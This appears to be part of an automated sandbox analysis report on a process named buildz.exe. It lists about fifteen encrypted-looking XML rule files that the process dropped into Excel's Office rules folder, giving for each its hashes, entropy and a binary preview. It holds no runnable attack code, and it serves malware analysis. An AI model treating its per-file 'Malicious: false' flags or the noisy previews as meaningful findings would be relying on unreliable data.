..Z.+F`....bYE..........F....h.%V..=..I...stMI.,.T...).(..;.b..(h..9.0d.....d...%BR..jm\...cb$?....W..vU.....0u.S.}..9...0.3..a.cD..n.......#....j._.@s.v....o.d....."(Ry.0......}.%.../..(P.-.#~.t`....uL...X.-.f.M.,\.WxF......I.=........0.........q.l;....K....E...;D.?Y`J;....@.......Oo..._-...!Y.%.I.Oh;V}.o..rM.4$=..xx...\|.../?'.Z..V.lC.;l.S.r!Fr....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.909524931845718
Encrypted:	false
SSDEEP:	48:qhjSgVGErjDrxT5zIs5zM1wPuWh46T27+wuD:ImQGarvzM1wPJh46y6wW
MD5:	2CF1C35205EED6E03CA9A4B8DFA375E3
SHA1:	3F95136655A83621FC72D303310C30234D78EC62
SHA-256:	A047F8D98D6418551B8AAFFD958CB8ACB09FE66DAE9F834EA970982E6A2835B4
SHA-512:	E338FE61D8DA10BD72C0FCEBE5A466804C7B85F836AC893918A15C73666C6C266B50B4F9EB4C9E48B329CDCB2048352C0EA6303A4D82A38840111DA47914D260
Malicious:	false
Reputation:	unknown
Preview:	<?xml.<../.w....`.p.D...t.^.o........t^...Z..W.. ..Z/....uhA..+..........y.8...{.(.B.....$;..W..\...:..#...\........e@.Av........@..z\^p7.0...V..i..'....+/..L=....R..h.......B:.P.r.......i.O.fN.!~C.Ah.(..;..n.=...x.....hj.G..^O..UZy..F....}....v_=4.{.nY...q................E'.)...'y..5.&%&>..j\...RGW.^;..NV..3.c.w..t.c....I...m.#g....>2..Ib.R..R.T..0....k-....UcLY......R.`.j.....?.P\|I.x....{<J`?...x......).1f.@m.R....c.U"t....-Ixr6Q.G.%3.....6o...`....`...m.X.A..vUY...3XA.MM...c.Vt.....e...-...W......N............1.5..Oe...u..Dc"-..O.&3q_.$aR......v...Z..Q.....W...(...M...[in.....o.:2.o;.d...._.4).2.[..k..?...s.....G....K."..F....KE......C.T.......B..C@....FN.Q...{..U.Iz....y..j.mwL....9.C...6....a...n7I.dw...Mz/L.........j.X..b.......'(u....yn^.GT...".\|...zb..<n..Sc..%I.8..@......LNsJ4.}....(..[..*.._u.....e.2.%....pi.C.....Ba.v~.Ll.9.).4.t.4Zh#.H...L.....P.q^...]DD.P.Ep......u=W.....}.n....u-D..s.X...mD...R\[..".]L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.88761870485782
Encrypted:	false
SSDEEP:	48:csEwwG6STvG5VL/cVj1EAz3y+oRYOdIOtFpvoT+D:c4nvIAVTiRYwdx
MD5:	CE2B2303C344781940848A4E6F544904
SHA1:	2A53649E761E79DBEFBED5C42F5DE0ECB0B247C0
SHA-256:	46DF3307830447F98A5A99C576AE567BF210C38CBD6E7F6385CBCC9EF8A3E8AD
SHA-512:	3DCEB2FAF2832CB209012FB623908BF7001A3AF03D6552328AAA2D0E98C7745C4BC73C0D310AAC0DF7A5C69AF9C3A075873D0DB1B52D062839E5C308457C0858
Malicious:	false
Reputation:	unknown
Preview:	<?xmlY......\........=.l.....jI..[.U..W.F..1r.rK"..`.3>._&yJ.#..<.3}.Z...%.%x.rQw.`....d^.H...{v)...N.......>gW.[.6UC.............M....[..fA.".a...Q...ia..r..:.G........Qk.....']c..d.O..j. .........vb?q.@.V~vEuG.,..K.....l}.....G.$b..4j~..!...7.G\|.u.......t.A..3..P.\|,U..X...U.6.....pQ...~..<.$..(.q...AJs...[)jew.N.l...e..A9..9[?.UEp(..Z .....c....b.8(../.....p4..F#...P.m....C5.y.1Dk-..Ax......\.]2lh....`'...)...? ...\.c........A..U.......b..\|-.8..E'..5xj.Xi(TBY..w.I......{......M+}.!.$.mkA...Y^3.(U.Z.<..tY..1)b....^]...[xys..k~G\.r.....i.dGD....#(V=..LpfV/tK....Q>.....8.B...P..S.3F..np>~Z.....#RKS...,..ep...C...hR.......,.......Th+p..Dz.(..).W.O.#.,g....a..C..Vo.z..n.....x.........3c..f...bT...C.Y..9.........&5......=NQ.b...h.9......M.R...Yt7........l.5...$3.z.3......q.:.w}.c._.y...5o....Btv..I(..A.q.;.0e...*q.9g'..Tn.....)U9..@NFm..)....?.;.4K....0. q...r{.."...a....X...J.....-...........R...p...Wd.aPD....dLc%.......nDA.n.6..<.9-J.."A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.878517742339162
Encrypted:	false
SSDEEP:	48:g3AfIh4YQJIRPfVKzghSNvgo7MQQMIMDD:gkIymREWSrwQH
MD5:	88D9827DB6EC29077B2FF34E2B784145
SHA1:	D37D5BF06322E82354C62B4E26AB5A3B402C0670
SHA-256:	746673B31222C103789CC2B80EE4C011389A3ED9C4DF6A6500AF2765A8667BE0
SHA-512:	96C18B3096E1608189537F40E407C449EFDC3923E386A4076EB3708900064E9711372A1B932F4DA7EF3F50FC0AB7DB4CB294C722E372842A63969F102D498118
Malicious:	false
Reputation:	unknown
Preview:	<?xml_Tti.n:d...O..:.G..,Y....,\'..6.M.v-A....A..)`c.G..q2.....'?v.u.R.G...F$...'...!4,..k.l.....b.L.ir4...M#s..*~j....x<.D,^....r...h}.\..xr..E...Z..(.SX(.lF....~u..F...d....t.r.k. #'.....}..V.Z.$....7Z....'6.7...9e...J....}1.S8..n.....P8I.n>.e.T.U.z.DM(.W?.......m$Gj.j...../.#.a].b.z..j..9$.7%.+.RDe..5_..z5....%>........a....hO.5.@.e.h~..F~.].2.......Ze.....cRcv.Q.8..\|.T..(B.L,..=+:/....E?....."._.;...........yjZ.B..X..R.Ns.}.u...iJ.Q6....$N..../?9.........V.....L.W.S....I9IO3.!...0}^..rV$./..V!.....cwf...b......6CrVD!....$.d......B....Z....rG.\|.....Q,..l....c.A.....e.....X^.Dr........B..u.=._F....3..f..2...Q.b;...,..$l.n..Bs...\|...E-..$4#\.S-.....+.1!.^.....n..?....Gvs......N....pB......A..T.u;..95.....P..E..Z.y.zOE.74.Z.AZ.........Fi3.......7...h.6..U....?.`..\.p..8..D.........8Q...0.S..1...z.....F..l.D.L_.3....:...;)..P.t......&.6.W...U@...W....c.+.m.8..fh".....`...+:.s.Ak..Ym.W.H.......T.eCW.J...j..`.Nr.-..... (..... ..Q.\Pq.T..N.H.8br.?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.87336957307543
Encrypted:	false
SSDEEP:	48:w21tjQM0VAGNngorI+J+MGnTZBQ0yKkhKCWkX2xX7J1Vm8D:wgtjQqIgUJ+HPyiCBwLrt
MD5:	668BC95B7536B234F4A386E2668D2E9E
SHA1:	6FC086965390D5484E100189FEDBCC2D524471A8
SHA-256:	D1E87EECD15AFCCB5DB79AFD7702E8CDD9FDE701803A68D3F07F8B44DB4F6683
SHA-512:	631A9167F03268FC01668939D98AA4D4430CB15345A11B375B7C164CEE325DD4FC2B2D18AEA9ED5F83509F6E65C9E53A8623936CD64CE378D854CAB129AA3B1D
Malicious:	false
Reputation:	unknown
Preview:	<?xml....m..T..Q.N...~m.'.....V<.X......E..G.2(.qZ...N{.^,.#.V..l.....{\Wd.#.@..d(\.P..}.X.m.k..]..C....8Y..e......."g.....0..<A.....-5\|..N.kY.s_...a"..'..H.K.......t...R.... ...'._..~..r.......1......F.\:M).N.>...U....tq.Q...I\|g:..t..L..b.#.W'..-.......a.....&...f....zm{...K..x.&..:N......e.o.;...5..U6...\|.5.....3_2.s{z..F...h.0..Q..L... @..........o#..n....U.H.9.cU.,..F.ND..)!..p.....IP.d'w.......E}{LI..C.z..L...g.+....S/%xa..8........zV.[.......D...8b...s..Z.m&Dy....o.....o...D3.O".t.+..'..n....l.C."......'.q...9.:..w..}...6.<,+.@.p}....(..P.}..."....+.8.t..l.Y..[s....[h}u[6?"u.RGq;.(N.!,va..p<1......._... zgk..._f..@..2)7...w0`.\|....h.....TG..T%.;..m}h.S....*...C.x..'.n.".?4..\o....o........q.#a..6.,..j...,...8..GnO..}..,.r..h.E{..s}.:.c..41..Z..g./.V.+.......[.A ...J$,...M...3.p..+...`Pm..a.>....9..,.O.f.,.....1fM..kQ....7.ljv...y....p..@Y...M9 .........u..E..7N.....~`s}W..q.[.....G.b>z.;..\...M5]a\..V,>...H....c..X.`3.....$....Y;r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.8871626053597845
Encrypted:	false
SSDEEP:	24:muPvKRjcyc9JlNX5uCJoKfUypyEW19+Fk3S0wJPLugR6ql6mBLjzPcGA3I1ObD:xHKW9JlNpuCphGEF8S0wJyggqJpQIWD
MD5:	39E447AF932420F804DE71AA773F6091
SHA1:	18AEFC5F8E3BA24DAD2E628183C60D93B26D0C8B
SHA-256:	4F3A4B8CDCD40BDF1516C3AD629D64B5B737E73A4ABF8EBF182332CE16C6CFDC
SHA-512:	DC003C47A4731C867E3A72CA053A9CB6F3DBB573D917738E69B1F76457831437FC7F3048AB8DEE363FD06AD3B7C5603211EA769B8194636A6B2F66B1FA1EB6BC
Malicious:	false
Reputation:	unknown
Preview:	<?xml..m........8m..[.$..}.cY..."q.9..1......Z.I.]...^6.pR.....A.M\|.F....!.B.8......V\,M..V.f.UK.&s..A...{......2.]T..(x0.+._.$. .......XRn...ZY.E*.\.....b.$0...o!3.,..U..X\|..J..S...![GS:..$..Qq..R]....p.y.a.6.......s... .R........l5.?/Y..^.UkNk;Lp..S......T...L.bn.z.7wr.(.q....kYs.v...d.p.D..d.`.......qT.,s..D.)Z\|...}..x.(..\|.........:....tn.8.)....R&..p.W"...Qa........+..?v..h.4......N..}....9.F..93.p>..H..]..Rx..].......e0...........I.a.>J.......'"...T....=b..u..~)'(3.e...f..%^..A..X.@m=.R.-aF...`....F+.O...-..F"......v.....9..@_..2m,&.j..N4.....,=.O......Vs~.T...6..O.o..Bo..z....C......P..(S....w..O..(=...i...K.`%..h...K.....a... ...p.l.....O.C).:lAI.....U...>.3.yKVW.;..-.~..H\......iB.".I...S.. ..^... )...\|...C..A\8..8z..8... ..\=..%.Q.Z..;.xUo.2..!..................Md...L..e.I.....'....ai.G.Y..PT......@.P.gC..z...;Va...vWC@.C.....o....__....eg....&MXG.....Zyl....X[...pP..#...N.q.4^.'.i./n.b.>..,...I".....&EX...?.j.t..c7.6.zk$.H".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.860233509039201
Encrypted:	false
SSDEEP:	48:h5WrlGqfa3DrYJtiGSz6zOF1EDviT8iIWaifQD:4NfMD8Jti1wOFGOvauM
MD5:	FAF011225A5DED46DC90898E04C2A72E
SHA1:	4EC29792A1E95900D11A595C0E166060557E6C37
SHA-256:	DF1E67B4092FACB09257554EA8AD8F6ADD02643D00EC7BDBF7F82AF5CB977D04
SHA-512:	BA7DE6016CAC298238D9F8A6F2828BD4B564FA6EF236F5BFDE048B54B0970CA047CF9936C657A6B0FD7AB52683D2526966E46D70CC2FE2B1B8BD6A6E7458CA8F
Malicious:	false
Reputation:	unknown
Preview:	<?xml...fVVJ.................$\..q.Vw..Y\|T.I...qg....7......_a.F.LG.......m..G.k<..-....z...p...oh.6ioE....;.b.....\|...u..u....h.m.....'.Q....a.......y.........J.d.!.S~.....U>.OQj.d.V..?..C1W.#..!U.,.....f.H2.r0nS.d%=........2.m I.V.V_:...:F..I#O.Lp......Y.H.....O..+.[m.N...Qx..V..N..}..6...6....l..?...w..k,.r......&...1.....U .!.:...*....Z.,.....a..}....-.2Y#.%...Z.......r.=....k.$.2{..o,# ...[....yzF..J;.n{..H..U.......X.l..r....zA.$..}.Bnm...\|...\..`.7........:.I.x]6.....L.QL.kY..0..P.s....J......./......!~.........M..{{....J........)'..x..4f..\e.....<.K...G........I.....s).&..aE..x....7.4..b.E.C.. .x] .LN..Q.0.v....,R.\%K.k..!.}..3.I...V...=....:...?8..._......M.....'...Q,j.X..nj.Q......X..;.y...g.&...%dd2.....jM.pN.<..._T.N.....4.I...\|........7j.6........Cb.;.b. .8QG...JA...%B......K...B.........I..n.Q.......JL....VM...f\|......rv.nw.O.9..&...I..[.r..:y.....97Lj.In0I....Q:....k.8...-.....0pn...o..wv...AI....8.#......o<?.<k....R.p..w.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.89161821498981
Encrypted:	false
SSDEEP:	48:bxm2Q85LoteylQl1t4qz1x3N/Bpq41Vts0WVu6DtybcgD:dmAmt9lw42FNjD1TWVb+
MD5:	87826D9D289B9B21596A088B05AF92D5
SHA1:	07F739B924CDBE6A09650AFA611A82E0A594A447
SHA-256:	A8A00DDE893D324890B33CA942B53047E35007BE88A521AE66513C520ACA0C1D
SHA-512:	8ADD3159FE9FF3D04B7A6A766469EE9831472FB8455CF95226BA2B33F0D22FC817E7E5B7DDB4D40708DAC4A1F2C278D1023BD9D54F03FE71F0C449844B8728DC
Malicious:	false
Reputation:	unknown
Preview:	<?xml..7C9.&.``...".Ex&...rH..#U......D.x.i.6.........1'I....S.\..Vz....,;.+.. .c$........_i.q...]..n.l...Y....!.....c..,...RdzH..KdS(....;?.i....&..L.......c.l].....$....pbDy..)...9..Z.......Y.k{.B...RR...M....1.:.>.^#.s....H.hD...u.$..J.1+......zYK.T]....d....5,....:......."..%..@"9..m...fAI..1.._.MM{${..,.ut.;.y...Uy.Mj..Sa..o..G[.~g.7..l.M1.X.i.....l..4'..\e.w6.,....O..........;N..e.O...Q.st.b..'c.."..1..".Vc.4.Ri..z.u..h1...5'.z.R..}........Uk......?...7kS..(..]^..L?1...5..k\&....v6:;..>u.. .Z.b.l7.......~N..._......[C..]i.6.&.^..5.7.t..X..L.w..Q<..m9C.H...$..k.i6l)+&...T.....R.(.K.w.m..yIS.'.....s..j..Q.X.A2..U........C$.D..........."]T..m...f.P..p.-.X.m4[..V..A.).\|..+.?..[[..Y.c.....B.d.o7T..DU..8;........1..t.=@.'.p.nNe_m.+..i.D...A...0..'.m#U.z$...$.L.g..$.CJ.....{B...E.y..I..5.eJ6lPw..q.....m.}......N...01..>..a..?....h<... .!.U.....&J}I\.V;..P../$...[..K.a.r...B.......%..._....e...O.\|.%;..o.N..-\|.6&.....o..m..Ly.....^S.u.....C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.884791612775291
Encrypted:	false
SSDEEP:	24:lU/MabChwVdqKUbk4eR7GjcdqHIX6zxIxGFtBECw9Q5vTJco4ju/lZvCUbD:6kaN57jGjY6tIxEK9AbV4ihD
MD5:	63C2D2A37C223C1453C72B9833F130BA
SHA1:	7FC25C0DABD92B5C0314A68E356026F07C7A418D
SHA-256:	9333F54E2A2BCD854AD408254AB49B0391363D9DF9CAF2E0017FCE44C53CC793
SHA-512:	63601EA028880931FD69748FA782650645FE1836D8DAA813CE85007C9E9935B1905CE256D45FE4886A337E36B9AD376ACFB3F23528C40A8486DF6A3ADDAFE848
Malicious:	false
Reputation:	unknown
Preview:	<?xml^.+..D.i...4..\|..............3..P.yJE...._..u.0.LgM ..M.Dh.USYX..`ygO....B./^$8..S..... /&J.../.\|U.>.],.......,...f.k.....R.<.n..x....'........eOY....6z...Eq..B.&..Q.^.w.&.cw<Z......-f........S.&I....s.X...myG..I.Em/..<.u3Y..u......^......@4.... i..K...:..............L..M.k.........{. 53{Q.x-b~.Y..)?.....n}...)WKsf.`....o._T.....f.....i)..>...(.8..G.-0Z.\|@\%p...s.z?.->.t.Kfq.cQ..$.#..s3.0.........c[...B.,o..E..U..9.......l......p.....`...$...'.....`.8^.s.\|Qp.H@..-F..fO}..\|.....8L...c...[.n$...T..LV..K....f...l....y...r.\|h....a..C....]%.OB.{K_.........:.6B.z.C.....Y.$}.5.0).M..E..u....V.M.H.0._..w....`'....JKvP..._D....1VFlo....H.ebb..?.__.?.._J....c...hj..5....8.d.......y....=....z.1;=&.{.!...Ia.;.%.....~..l3..."....I.S.c...y._..\|.A..n......3..C.x%..w...mnG.M[&3J/..x .....x.0..M1...6.\}j..Je.....\.W[.../.O....r/.-/....oF6...m.].W6.X...ob)2-.7e...4..kA...B....P...H..j..~....5&p*r...5.fEo.......!..Y...t,..~m..4......~..S..b.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.8747584796424235
Encrypted:	false
SSDEEP:	24:0x2y0NWVmjzSWqTgtIRIF7TW6aflFkp/o9bgJzttjgEk6wATGJSy4y+yXmAeM0ik:/NDnSW2mqfb0wBot0TgyyseM0i0Da1QD
MD5:	CBFACF57FB558CCD153221667AEA329F
SHA1:	E788934F57CE334C449C1047782930FE45A19806
SHA-256:	4D3DA24BC91722786C254646AF45EBA3461814FA181F66F17E6F0BE18630C1ED
SHA-512:	22FF1BE36BE4BB6BA4BA8CF8F311F4B89C255BC6E398CABFF0F3E008B7339D6D4E18043D50EC287626B449C2490DF121E22A61C77967B13629B635FA2DD726C4
Malicious:	false
Reputation:	unknown
Preview:	<?xmlg...a.....E.8."........Pa.q...F'{...qE...2..A<..a>..=Y.y.p...Q.....lQ..R..G!...Q).1{9...N...r....R=.......,....Z..[....J.Go&.\Wr.N,Y.9.^..a.B..n..Bc.....M../f.r`U.'...b..W.(..q.Y.ls.Ti...\|..B..g$.i.[.2DC]..^.2@n.].<..>.....F.c........m.&;.=...[.-$_N..kVV0/bf....[..7._Q...r.H....n..A.....oZJ....Lu4^...'...m.h..&..?0..b...=..J....[.Uh...".:...5D..iS."n.k.....).....T...e).N...-...Q...s..X.}...6.....z..0.v]..0....n......L##}...2.r......;..n..j`.Ne7.&...0..o...)......4Y.$.u).....F.V>...3.>.=.Up7.m.<.{.{;..\l........^..I]._.X..=k...4.y.sv.q)....}c..g.=.kJ-.@......r.;0.NT7..}.3m...x?!.\..M...A.-.#...`l.y7}.........._.<....e.+.....S..>..Nb..'..",.."..0.[vc.c..Qv.....0... .K...59.O7....14.'..l:F...F...S}.:....d r.1mL..X..$....*L.n+.XH...p............p+E7Y...pR.....k..xzu...&.l..E.X7A..bjq....p....M.RY..p..4./...1.O.^._...z.K^cH.x..&..w..9Z&..a...Q..V..W..X}..PY.v......G.p..Z/M....j...7.`-...V.....3.=.;.,k..PO.B..]8!..I.F)kn...drH0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.866705811177932
Encrypted:	false
SSDEEP:	48:dok+NtXi9S6YqT33BH+Sd89tXLh1bwjnKWJ4JD:d0Fb6YqNeSdW5wLK2E
MD5:	2823D146ADBED8A9215F982DCCE7422E
SHA1:	5185E000B5610A0BC8E9032246AB2B9C9E5128BA
SHA-256:	899953A3B4BE479432922736D2BB3E08F9C40DCA29BDED8B83C2CA5377C3073D
SHA-512:	9BC848DD75DE9917F5335036D4739895C1A490194BB31AA81F0AB471042248850A980C8AEAAF4E714E865D6E40A845F68A6B031961F485EFD0FDC1F6272CC734
Malicious:	false
Reputation:	unknown
Preview:	<?xml..{..95...................AN.....=.Ys...~.H........bz%.1..G'...V.G..F.(E.2I.U....9.N^U...r.....O..2N.G/.........7s9.1.K..z..b....q.}..Rf..=.....(Hcd5.g....2.....x C..-....=.?!7..BJ.)..k..P..i.....W...'F.v.B....)~...od...g.)..k......z.s....M.....3.J?.;{... c....&.....6.5a..onHU..{^.Z..%.._M.......55.}..J.I01..$""ICD{......u.f.....(..m-.!a.......%.%.j.`...........=_........"./.?4.......sj...D.~R.......N1...=Q..:...v..m..1..(..i..h5tc.Mj.A<.I{....x."....`...Q..j...e.R..c....@.e......`Bq{#t.l.Eu.b.W...k....E..$...9..m...e...5.R...m4t...d..@.p1b..q..I.-V.wU.]........^.z..C.&.. .....^....;./.vCi."T.......B.G6..i..V1~C.........G....&rP.....r.+...M...4......1..B0.w.....WM.....O... k...6..DWc.ZG...o..K.W."{....."A.c.....N.R.l...xL.R...@.....-.x.m........F...QyQU..l._.#Nu...o)....Hl....d...s/V.Ny....'......L&..<.B...X+.....[..B.....d..Dt..4..!.u..u^...!P<<V..iouh...4{.7B-.7.w...90...=...e..L.N2.B.l.~...JZ%.E...R........S..v.....'....<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8827493055576605
Encrypted:	false
SSDEEP:	24:VTM7oX2ieALNVFsugu4pZE1wDxa1TvJiw0LboKe+/szbNH8XuS7W0O4UWd27nKbK:VvmiHT0hZEucvJid4oszbF8eST327KGD
MD5:	046F31478EA7FD15E81021CA32E3F3CF
SHA1:	FC06D5F93B63F0B750A52FD9FD45A9602A7ECA4D
SHA-256:	AF879526D7E339ABC1D628E3D769565D88DE480F44ACB72EFE5ECA19905D6EA0
SHA-512:	EA9BCCCF381811B341594659D135A73056A90EE48F6C8967AE74357D281CE8F6B683027DF1A1B7381C20303B13BCCA6D0F20C8F1186F8E6C8774666807CE53D0
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....3!....<.S^....x"~1...+.z3..O.?a.N..pk......-!a..I..ws.n_2B..kT......JE.......q..D...i,L~..KN......%E4..s..^.x...n...\(n.m$C3....Kn..r.).._...:2.A}...p........\...x6.8..j.ux.26..D.....P....\..........$?...D`..u0.$OS.....w...A._8..>..H..f.....,Z.].5...`..9@..q.d.+K........E.P...8@.u.....nl..!..>]r..l.2=$..~...&.\..{...w....x4a.HL.k....83.....d.y.p..Q2..>.,.h....Ng..$.-&}^.3......Q.1.m6.gv.D$"o.8...5..?L@?.`L......'\.f...d.qO;.l.....]...#...1.{Jx..$.{..).vQ.au......5F..v...@.0.>vL.....J.m+...)W...@^.'....f.@.?1...4..>.B.\|@;Xdw.uO...9....Z.dm3..-6.5.^=.1W.UM........".5.....nJ<F.2.....f..6......)..}C._*..$.C...YP.s.O9k....b..!.v....0.g.(..e...4..a.S.......!.`6.......0.RcH>....-.d@..HW5......O.>./4.......X.t.....4"..`..T..R.$}.........!......"'...1`..5Ck..K.e.........DH.6O{z.....:..{.x.L)..o.(),I........~.39T..f..9.W..4b..........(..b.......}.. .B<.v...TG....y....z.Qg.W6._...E..=D!....O.vD...l.Da.I.<.G..9.HM.w.....,.Xw.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8810740059103574
Encrypted:	false
SSDEEP:	24:xz5CtsxpsgKtOpaGlpyrId+oirLNS/zkXVWNve/bPHfgUMsjcy6Jq2cl1sPbD:xstMtKtca6pyOU4rWYN2zbAtigD
MD5:	D9718B7EC8823FD057A3A49FDBADF22E
SHA1:	C3614EB5FF163CEE5DB2861E41FE9F3A9CC306DA
SHA-256:	5ADDB3319D341A6CF9A7A75BF23F585415A86EF5D8B32436D3A2C94697A8AC58
SHA-512:	73BC8FDD6B59F122D14E4805190CFC6A2D983016B57BA33F53F3808E6D756F66B80290313AF5572AFF9EAF69A9AE4A972652247EC3045F2962107AB0BF51CE2B
Malicious:	false
Reputation:	unknown
Preview:	<?xml..bU.aOyv..4...k=...eG="...7.3..}Z...w_..&Pb.\|..M.s..&.54......3...X.....<.]...U,2..&^.)..D....;.V..K..g.n.eR.\.f...! ...'.f5.uWW..S>W#.;.(...~.^d....9...JO..c..==.o....%?.UD....q.g..C...VpVj../,_W=.....Ez./U+....?..#.H.Uj..v.;..L..v...g\.0W.&._..S.\,..P......_.B.....J..0~3B.hp.. ...W...!......G>..4..}/.\|oY..L..H..Bk.%r\..){J3....q-...r....._W......v......;...TwN..%..v...G.'..Fg0......Y..X.^&..Y..g2.`...@?.....e.5.......h....^L..@.9....J..$...O..q...0.C...Dm.x...\.S.m.'....h.#..7xJ\P......W.....c.q..\|...g~..4....chR.W..0...).i.Pgj7.@........n...mB...(E.g9.r.S...X.H...N.....-2...C..b.....v....w\.k.F.wTN4.U........]6g.0..8R...7.-......2.....q?$KM'K..........\^`j...)..X..n.........&z...v...C`-..T9...T=.....ulI....i..Q..e6Z..k1.;.....9.....u.p..>h[.........ZFL.........I..d............G'..B..uqWF...(...\|......v..xa..M..../.......&P-A......V..*..v.H......W...i.......,q....z...w...G.'y.........>.....o..._..U...W.s.-.=..-............;..Z.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.892146186913355
Encrypted:	false
SSDEEP:	48:Ax8Z49llYZH9cN1wZw2P4CcALnF0nVuW8UWD:Ax8Gs9KT2P4JUnWnVr8UO
MD5:	F8A2D0013A11741B4713B1E11BDDE720
SHA1:	68343F0A5E474EC580A1432C6194C7E88952481A
SHA-256:	1AD787CA6C6F3595AAB187638C64A419706DED61AFB259B05CB7782A18BBD365
SHA-512:	DDAFE5B7CD70EF4BE4A5AC3E4A6466758AA7B322C6AA405D774B121AE90A603C98295351F906274FD4CB06E17DC1387E5090A1E706820AF5D0D9D5430411DD1A
Malicious:	false
Reputation:	unknown
Preview:	<?xml..uGmd..)#%W32.6..$./D...cg.#..r'9...[.nl.x'P.21.>6.....l.h%'K..i...wN....h.n....(..._...>....rRq.3...<d).x...'.<Be..3.i...N.J.m\..h.L.!.K.......4..1...........<xq..\|.U.:..\|.....!,g.....H.?a......z..I............V..M..n-u.{..?D.ziRh.7u..=C9.R?.o.......w.k..`sA.?......c=.2...#L/.2.N..7....2.&`..<9.M.(...v.8..O...a.o..]c$...b..L7nay..Xn.....4]....(R......:.._Qe.$\.A.~U.x..4..7G..hbX......E..W.&.a. =.s[.....Ti..i..6.;....@0..K..'......>......}.g.x..Z...R`....s..v.....8:jS.[.xmi....N3V.....0-.~..i.P9.......W.?.D.I..$.D.<2F..._.5.I......\|.3...........Kns....q...$xBE....t!`=.+\Akqe:...r..> .o;6..9O.,.7=S.0..v.1..2....%..2n.S0cXG.E.d...?....$................fT..N....ri..st.Z#.C..".........W..F.<...\r....q.A...^5+:%.g....q;...'.D\D.._4.\....l..%S..CU....Y.S.2.....ND.n...]....\.'.m.x.?$....Op\|..S7...,.....)?..J........:..g*Q.A..........jZ..G}p........[..0..Ep..Q....\|.Ki.w.$..QN._.<..S..E&....6....!..k..<R.Vk........T.i...Xw.;.5.T$Y.;t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.889589236917011
Encrypted:	false
SSDEEP:	48:Ln/9ReQAT36BFCl/vi198bHun4yjqU6X3hYODAQD:jHKeBh19Jn4DqODAM
MD5:	0A313EF4EA80578711D6580BF6315F55
SHA1:	BEF8448EE99A1D67E9908673657CA72A9628B356
SHA-256:	A87DE96F03089472A673FF4E717CCCE3E3952D1C0650308A7B79B33B6111EC5D
SHA-512:	241819621F00D99A05F2349E0AD863A61983E2CAF8FEF805C1EFD63487308977D406041DD0C83C13F64FF4A36BCC82552D5C442064D28760BC19E39A462249D7
Malicious:	false
Reputation:	unknown
Preview:	<?xml...f...\l....M........m$.1.Lf....o@...[..........R.+V.O9...@.8...:.}.\|.C0s..._..H......_....j.....}Y.,.%....7.G.+.c.f.?...s{s.:..7K=2.....-.._@^...`.K........cc......D.`...B.5.lI.r.mxa[...U..p...p.P..O..:..e.W..H#.v}.....qa......`..,..Q.p..sknA.{.<..!.+...p..p.6...$...}......v9,O..+".KT.JA..I3g.?....,....a..pw.:>....?....i..55J.....T..'J]B...................S.#\..{1...;..Q.....Ll6..\T....B\|..~...._\ .......c.....h.AO........f.T......xi..3.....,......i%.U<.8.`c...';...E..d.....b..^.Bo..+...6{.$R.......\&..B..~Q;...l0.b0...g:......K..+.j.&]P..".oy.[......w..:T<..U.J;.#B.........;. 